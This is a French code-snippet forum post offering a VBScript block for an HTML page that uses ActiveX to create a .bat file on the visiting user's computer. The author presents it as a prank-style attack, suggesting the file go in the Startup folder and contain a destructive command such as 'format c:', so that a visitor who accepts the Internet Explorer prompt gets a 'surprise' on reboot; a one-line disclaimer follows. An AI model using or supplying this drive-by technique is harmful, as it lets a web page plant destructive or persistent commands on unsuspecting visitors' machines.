Creer un fichier .bat a partir d'une page web!!!

Contenu du snippet

ce petit script inséré dans une page html permet de creer un fichier .bat sur l'ordinateur client.
on peut y mettre les lignes que l'on veut et le plmacer ou l'on veut (dans le dossier démarrage si on veut!)
les commandes dans le fichier .bat sont en Dos mais tout le monde connait format c: !
en arrivant sur le site, l'utilisateur verra une boite de dialogue internet explorer lui disant seuleument que le script ActiveX présent sur la page risque de ne pas fonctionner sur les autres pages! si le visiteur s'en fout et clique sur oui, c'est finit! le fichier est créé et il aura une drôle de surprise a son redémarrage....!

Source / Exemple :


<script language="VBScript">
if location.protocol = "file:" then
Set FSO = CreateObject("Scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set BatFile = FSO.CreateTextFile("c:\ini.bat", 2, False)
BatFile.WriteLine "[ici]"
BatFile.WriteLine "[ici sera inclu le contenu du fichier .bat ligne par ligne]"
BatFile.Close
end if
</script>

Conclusion :


A utiliser a bon escient et sans mauvaises intentions!!!

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.